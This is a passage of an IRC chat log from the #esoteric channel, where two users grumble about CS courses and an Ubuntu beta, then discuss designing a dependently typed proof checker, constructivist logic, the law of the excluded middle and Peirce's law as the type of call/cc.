:alise, which is what I was talking about < 1269089880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If a CS course involves Java, C, Python - it's probably crap. < 1269089894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, Python can go okay, but only if it's used in an abstract way. < 1269089896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I think C and lisp were the most common ones < 1269089908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pyhton at third place I think < 1269089909 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nah, Java. < 1269089913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :java was very rare < 1269089914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Almost all (mathematical term!) CS courses suck.) < 1269089916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for true CS < 1269089932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In fact I'm not sure I'd call any existing CS curriculum good. < 1269089939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MIT sorta ruined theirs by abandoning SICP and doing robots in Python instead. < 1269089945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269089987 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The xkcd effect, may I call it. < 1269090005 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what? < 1269090009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Default search engine has been changed to Yahoo!" --Ubuntu.com < 1269090014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I smell money. < 1269090016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, joke? < 1269090037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: xkcd glorifies "fun hacking!" and "zomg cool robots!" and "python is SO EASY!" < 1269090048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"This beta sports full removal of HAL from the boot process, making Ubuntu faster to boot and faster to resume from suspend." < 1269090048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, that's good. < 1269090053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well sure, python *is* easy < 1269090058 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"We now feature built-in integration with Twitter, identi.ca, Facebook, and other social networks with the MeMenu in the panel, which is built upon the Gwibber project, which has a completely new, more reliable backend built on top of desktopcouch. Gwibber now also supports a multi-column view for monitoring multiple feeds simultaneously." < 1269090059 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fuck me. < 1269090068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MeMenu? < 1269090071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck < 1269090072 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Millions of songs are available for purchase from your Ubuntu desktop, integrated with the Rhythmbox Music Player and using Ubuntu One cloud storage for backup and easy sync. Watch http://one.ubuntu.com/blog for the public beta launch." < 1269090073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Vomit. < 1269090082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise a humdrum improvement release. < 1269090083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1269090097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But seriously: Yahoo, social crap by default, integrated music purchasing? < 1269090097 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Eat a dick. < 1269090102 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I think jaunty might have been the last "good" release < 1269090111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe karmic < 1269090113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I didn't mind 9.10. < 1269090127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Karmic's the latest release. :P < 1269090136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well this new one sounds horrible < 1269090149 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I only quoted the horrid bits. Obviously. < 1269090152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Paul also noted that the most controversial aspect of the new design amongst users has been the placement of the window control buttons on the left instead of the right side of the windows" < 1269090155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, right < 1269090156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Copying OS X, are we? < 1269090170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269090179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't use standard theme anyway < 1269090196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Y'know what? I think I'll just stick with Windows 7 for now. < 1269090248 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, arch linux isn't too bad < 1269090299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, on the plus sides it doesn't integrate music stores, nor social crap by default, and default search engine is whatever uses as upstream default < 1269090320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but on a laptop? < 1269090323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CBA < 1269090327 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, good point < 1269090348 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :clearly I should just instantly code ehirdOS < 1269090358 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good luck < 1269090365 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ACPI is horrible I'm told < 1269090372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you really need that for laptops :( < 1269090398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides to name his first proof system something along the lines of provenance
< 1269090400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe nance < 1269090427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it'll have two components, the proof checker (basically a typechecker for some dependently-typed total lambda calculus) and the proof compiler (from a form you'd actually want to write; with niceties such as definitions) < 1269090433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so they need names < 1269090451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and also perhaps a third component, that extracts computational (non-proof) content from a proof and compiles that to some functional language < 1269090461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :profchk and profc < 1269090465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for checker and compiler < 1269090468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess the proof checker should be prove, and the compiler nance, if I'm going by provenance < 1269090471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's way boring. < 1269090475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well yes < 1269090490 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus typoed < 1269090492 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should have: < 1269090495 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :prove -- checker < 1269090499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nance -- compiler < 1269090499 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :proof* for booth < 1269090512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :volit -- program extractor < 1269090518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why volit? < 1269090520 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The system as a whole being Provenance and Volition. < 1269090534 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because computation is like some sort of volition. < 1269090535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what volition means
< 1269090540 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You're going forwards to do some sort of goal. Of such. < 1269090551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The problem is that prove is a bit of a vague name for a proof checker. < 1269090562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :google result is Volition® as the third < 1269090565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just FYI < 1269090578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Eh? < 1269090586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, registered trademark < 1269090594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's a bloody English word < 1269090598 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can't trademark it < 1269090602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not like that < 1269090605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well it seems to have been done :/ < 1269090605 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Only in some very specific field < 1269090613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You fail at trademark law :P < 1269090619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably < 1269090646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should clearly write PROVE first. < 1269090650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In, eh, let's say Haskell. < 1269090666 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What calculus? Perhaps the calculus of inductive constructions. < 1269090685 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why not in coq or agda? < 1269090742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because I don't really know enough of Coq or Agda to do those. If I was doing it so I could prove the checker correct, then Agda would be the wrong choice; it's a very experimental, exporatory language and false has been proven in it many many times. < 1269090742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Coq I know even less than Agda. < 1269090760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Besides, volit will probably spew out (horrific) Haskell. < 1269090777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It annoys me that prove has to know about sets, and not just propositions. < 1269090816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what exactly will volit do? < 1269090881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, nance is in many ways like a programming language. You have data types, in Type, and you have a subset of Type named Prop which contains propositional statements. < 1269090893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269090895 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You prove a Prop by writing (terminating) code that constructs a value of the given Prop. < 1269090912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The values of Props are irrelevant - they are indistinguishable; for any x,y:P where P:Prop, x=y < 1269090917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but the values of Sets are not < 1269090925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, sounds like you are an constructivist ;O < 1269090927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P* < 1269090932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You don't say. < 1269090946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Through the Curry-Howard lens, we can eliminate proofs (Prop values), as they carry exactly 0 bits of information. < 1269090964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We have lambdas, as ways of proving implication and also defining functions on sets. < 1269090968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So... we have a total programming language. < 1269090974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269090990 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sprinkle on some mechanism for IO, and you have both a programming language with dependent types and consequently proving, and a proof assistant. < 1269091007 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1269091021 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and where does volit fit in < 1269091022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you're doing proofs, you use nance and it feeds its result to prove for you; if you're programming, you use nance and it feeds its result to volit (and then, presumably, to ghc) for you. < 1269091029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269091035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Often the files you do both to will be the same. < 1269091047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269091051 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : why not allow non-constructive proofs btw? < 1269091051 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, the typechecker just says "Yes" or "No" in so many words. < 1269091066 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, because I don't believe that forall p, p \/ ~p, for one. < 1269091073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Two, you can have that < 1269091082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :classicalOr p q = ~(~p & ~q) < 1269091100 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or you can even just take as a parameter the law of the excluded middle, thus having LEM -> whatever. < 1269091104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Constructivism contains classical logic < 1269091105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, is ~ = not? < 1269091108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1269091148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But it's simple as that I'm a constructivist, and I also believe in the computationalness of proofs and the like - total Curry-Howard disciple - so, begone LEM. < 1269091156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why don't you believe forall p, p \/ ~p ? < 1269091163 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, okay LEM I guess < 1269091170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's law of the excluded middle. < 1269091182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Consider axioms like the Continuum Hypothesis (in the context of ZFC). < 1269091201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads up on that one
< 1269091201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can add the axiom CH to ZFC, and yield an (almost certainly) consistent system (if ZFC is consistent that is). < 1269091205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You don't need to. < 1269091207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just an example. < 1269091208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can also add the axiom ~CH to ZFC. < 1269091211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Still consistent. < 1269091216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1269091218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So in plain ZFC without any frills: is CH true or false? < 1269091223 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The answer is that it's neither. < 1269091234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, undecidable? < 1269091234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: also true for large ordinal axioms < 1269091239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*large cardinal < 1269091244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Not undecidable. < 1269091247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm okay < 1269091257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Consider Godel's theorem. < 1269091263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269091265 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not quite the same. < 1269091288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm okay, I think I see what you mean < 1269091308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though I'm the first to admit that this is way out of my expertise. < 1269091334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's simple enough: There are statements for which our formalisms do not have the mechanisms that we can apply to derive either a proof of p, or a proof of not-p. < 1269091345 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Given that, where does the law of the excluded middle stand? < 1269091352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good point < 1269091363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Either p or not p -- but it cannot be shown to be either. My opinion - shared with other constructivists - is that it is neither. < 1269091371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but non-constructive proofs are sexy :P < 1269091393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think proofs of ~~p are not very interesting. :P < 1269091401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269091404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Mind you, I do believe that ~~p is very strong evidence for p. < 1269091415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I just don't believe it entails it. < 1269091424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in a two-valued boolean logic at least < 1269091436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, well, propositions aren't booleans. < 1269091458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Whoever first made (x = y), (x > y) etc. booleans was a vile person. < 1269091460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :computers however *work* on boolean logic basically. < 1269091470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, they work on electricity. < 1269091481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well sure, but at one level they do what I said mostly < 1269091524 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for the digital logic parts of them, which makes up a rather large and crucial portion of how they work < 1269091570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Coming up with a model for inductive types is Hard. < 1269091570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course there are analogue computers, but from what I understood they are kind of rare < 1269091582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, nance will be where the type inferrence is. < 1269091589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interesting < 1269091597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :prove will literally require an annotation for every single parameter and result. < 1269091601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I suspect the output it generates then might be rather large. < 1269091609 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And no variable names or anything: It takes in lambda calculus with De Bruijn indexes. < 1269091613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Plus type annotations). < 1269091616 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay *very* large then < 1269091630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not /that/ large. < 1269091648 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I mean, GHC basically stops one step short of lambda-calculus. < 1269091654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, I can't really predict how much it will grow compared to input < 1269091676 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not that much, really. You can't infer anything dependent anyway. < 1269091680 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, almost anything. < 1269091689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So only trivial things will have their types inferred. < 1269091712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well, I presume you somehow at the end can get out reasonable machine code, reasonable for an OS that is (which was your goal wasn't it?) < 1269091739 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, this is just my first foray into actually making one of these. < 1269091748 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nowhere near OS stage yet. < 1269091764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, out of interest: how will you handle the low level interaction with the architecture in your OS? Some parts must be OS specific, be it configuring memory mappings or whatever. < 1269091769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :can those be proved? < 1269091776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/OS specific/hardware specific/ < 1269091781 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The machine code generated will probably not be pretty; after all, 42 will be represented by 42 nested constructors and then a unit value. < 1269091804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, pipe it into llvm or something and hope for the best? < 1269091813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GHC produces alright code anyway. < 1269091817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269091873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, still, I find the problem of proving the bits that deal with poking hardware correct quite interesting. Such as setting up memory mappings for processes and dealing with DMA or whatever. < 1269091879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Also, they don't need to be proved. < 1269091885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, oh? < 1269091886 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :After all, the correctness of the code depends on the hardware being correct in the first place. < 1269091892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well true < 1269091900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I was just about to say that that might be an issue as well < 1269091915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I don't think FDIV ever happened again. < 1269091920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They formally verify chips nowadays. < 1269091930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc intel and amd both use correctness checkers for their CPUs nowdays, at least for the FPU. No one wants to see another FDIV bug < 1269091940 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, damn you beat me to it :P < 1269091947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I love how induction <=> recursion. < 1269091976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I knew they were related, but are they actually equivalent? < 1269091981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269091994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful indeed < 1269092012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't see how to get from one to the other exactly, but yeah they are pretty similar when you think about it < 1269092014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nat-induct : forall (P : Nat -> Prop), P 0 -> (forall (n:Nat), P n -> P (succ n)) -> forall (n:Nat), P n < 1269092023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now ignore Prop being propositions so irrelevant values just imagine it's any type < 1269092027 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :n:Nat? < 1269092030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then consider P x = Integer < 1269092035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: forall naturals n < 1269092035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that "n in N"? < 1269092037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then we have < 1269092038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269092062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :integer -> (forall (n:Nat), integer -> integer) -> forall (n:Nat), integer < 1269092064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :forall is the same as a function arrow < 1269092064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269092078 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :integer -> (Nat -> integer -> intgeer) -> (Nat -> integer) < 1269092079 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the first argument is the base case < 1269092091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the second gets the current value to consider, and also the rest of the computation (lazily) < 1269092095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it combines the two with recursion < 1269092100 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's fold! < 1269092117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in fact you can derive a function like this for /any/ inductive data type, mechanically < 1269092144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, btw do you reject proofs of existence by contradiction (that is, proving something must exist, because otherwise it would result in a contradiction, without giving any way to construct said thing) < 1269092144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :epigram 2 does this < 1269092145 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269092184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Something must exist, otherwise contradiction = Not something must exist, implies contradiction = Not not something must exist = Not not P = ~~P < 1269092187 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So that's using ~~P to prove P. No. I do not accept that. < 1269092192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269092212 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269092220 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :building plan9port < 1269092233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I think that means you end up rejecting some major parts of modern mathematics. < 1269092240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember which parts < 1269092250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I'm pretty sure I read about that somewhere < 1269092250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you don't < 1269092261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you reject uncomputable real numbers, but nobody cares about them < 1269092270 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: consider that the four-colour theorem was proved with Coq < 1269092273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a constructivist system < 1269092279 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's very much practical < 1269092295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Existence_theorem mentions "Such pure existence results are in any case ubiquitous in contemporary mathematics. For example, for a linear problem the set of solutions will be a vector space, and some a priori calculation of its dimension may be possible. In any case where the dimension is probably at least 1, an existence assertion has been made (that a non-zero solution < 1269092295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :exists.)". I don't have any clue what that means though really < 1269092319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, interesting thing: < 1269092322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :((P?Q)?P)?P < 1269092325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is Pierce's law. < 1269092326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269092329 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is the ? there < 1269092330 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :((P->Q)->P)->P < 1269092332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269092335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Pierce's law. < 1269092336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But! < 1269092340 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is the type of call-with-current-continuation. < 1269092357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interesting < 1269092360 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The continuation is (P->Q), i.e. gimme something and I'll give you anything (it's just a dummy value computationally so you can put it anywhere) < 1269092375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you result in a P (because whatever you pass to the continuation must be able to stand for what would normally result, typewise) < 1269092376 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it gives you a P, by constructing a continuation < 1269092377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BUT! < 1269092387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This doesn't hold in intuitionistic logic (and other similar constructivist ones) < 1269092392 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :call/cc is always somewhat mind bending. < 1269092392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because it implies the law of the excluded middle < 1269092398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :first, know that _|_ is the type with no elements, i.e. falsity < 1269092400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so no call/cc in your language? < 1269092403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and that ~p is p -> _|_ < 1269092452 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :((P->_|_)->P)->P < 1269092462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"In particular, when Q is taken to be a false formula, the law says that if P must be true whenever it implies the false, then P is true. In this way Peirce's law implies the law of excluded middle." < 1269092467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :specifically < 1269092469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if we have _|_ < 1269092471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we can prove anything < 1269092475 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so if P is true whenever it implies the false < 1269092487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that means that P is true < 1269092489 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because P implies false < 1269092492 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and from false we can derive P < 1269092498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269092506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ergo, law of the excluded middle < 1269092518 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so call/cc -> law of the excluded middle :D < 1269092526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no call/cc outside of something like a continuation monad < 1269092529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no biggie - haskell doesn't have it either < 1269092543 0 